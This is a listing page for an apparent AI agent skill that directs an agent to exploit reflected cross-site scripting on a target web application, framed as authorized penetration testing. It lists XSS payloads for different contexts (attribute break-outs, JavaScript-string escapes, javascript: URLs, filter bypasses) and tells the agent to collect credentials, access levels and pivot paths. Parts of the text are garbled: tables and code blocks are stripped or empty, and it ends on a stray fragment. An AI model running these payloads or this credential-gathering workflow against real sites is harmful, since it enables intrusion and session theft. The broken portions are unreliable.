# Xss Reflected > Guide reflected XSS exploitation during authorized penetration testing. - Skill: `blacklanternsecurity/xss-reflected` (Agent Skill) - Install (CLI): `npx skillmds@latest add blacklanternsecurity/xss-reflected` - Raw SKILL.md: https://api.skillmd.com/api/skills/blacklanternsecurity/xss-reflected/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Security - Author: blacklanternsecurity (https://skillmd.com/u/blacklanternsecurity) - Updated: 2026-09-17 - Page: https://skillmd.com/skills/blacklanternsecurity/xss-reflected --- # Reflected XSS You are helping a penetration tester exploit reflected cross-site scripting. The target application echoes user input in the HTTP response without proper sanitization. Your job is to achieve JavaScript execution in the victim's browser. All testing is under explicit written authorization. ## Engagement Logging Check for `./engagement/` directory. If absent, proceed without logging. When an engagement directory exists: - Print `[xss-reflected] Activated → ` to the screen on activation. - **Evidence** → save significant output to `engagement/evidence/` with descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`). ## State Management Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to: - Skip re-testing targets, parameters, or vulns already confirmed - Leverage existing credentials or access for this technique - Understand what's been tried and failed (check Blocked section) Your return summary must include: - New targets/hosts discovered (with ports and services) - New credentials or tokens found - Access gained or changed (user, privilege level, method) - Vulnerabilities confirmed (with status and severity) - Pivot paths identified (what leads where) - Blocked items (what failed and why, whether retryable) ## Web Interaction - **curl** for payload testing — use curl to inject XSS payloads with precise control over URL parameters, headers, and encoding - **`browser_open`** to navigate to reflected endpoint and verify rendering - **`browser_evaluate`** to check if payload executed (e.g., `document.querySelector('img#xss-test')` to verify DOM changes from payload) - **`browser_screenshot`** for evidence of successful XSS execution ## Prerequisites - Confirmed reflection point (see **web-discovery**) - Input appears in the HTTP response body or headers - If input is stored and rendered later, use **xss-stored** instead - If input only affects the DOM via JavaScript (not in HTTP response), use **xss-dom** ## Step 1: Assess If not already provided, determine: 1. **Reflection point** — URL, parameter, request method 2. **Reflection context** — where does the input land in the HTML? 3. **Existing filters** — what characters/strings are blocked or encoded? Skip if context was already provided. ## Step 2: Identify Reflection Context The payload depends entirely on where the input lands. Inject a canary string like `xss<>"'` and examine where it appears in the response. | Context | Example | Strategy | |---|---|---| | Between HTML tags | `

REFLECTED

` | Inject new tags: `` | | Inside `` | ## Step 3: Basic Payloads Try simple payloads first — escalate complexity only if blocked. **Between HTML tags:** ```html

``` **Breaking out of attributes:** ```html "> " autofocus onfocus=alert(document.domain) x=" '>

``` **Inside JavaScript context:** ```javascript ";alert(document.domain)// '-alert(document.domain)-' ';alert(document.domain)// ``` **Inside href/src (javascript: wrapper):** ``` javascript:alert(document.domain) javascript://%0aalert(document.domain) ``` **Inside hidden inputs:** ```html " accesskey="X" onclick="alert(document.domain) " oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto ``` ## Step 4: Filter Bypass When basic payloads are blocked, use these bypass techniques. ### Tag/Keyword Filters ```html

Session expired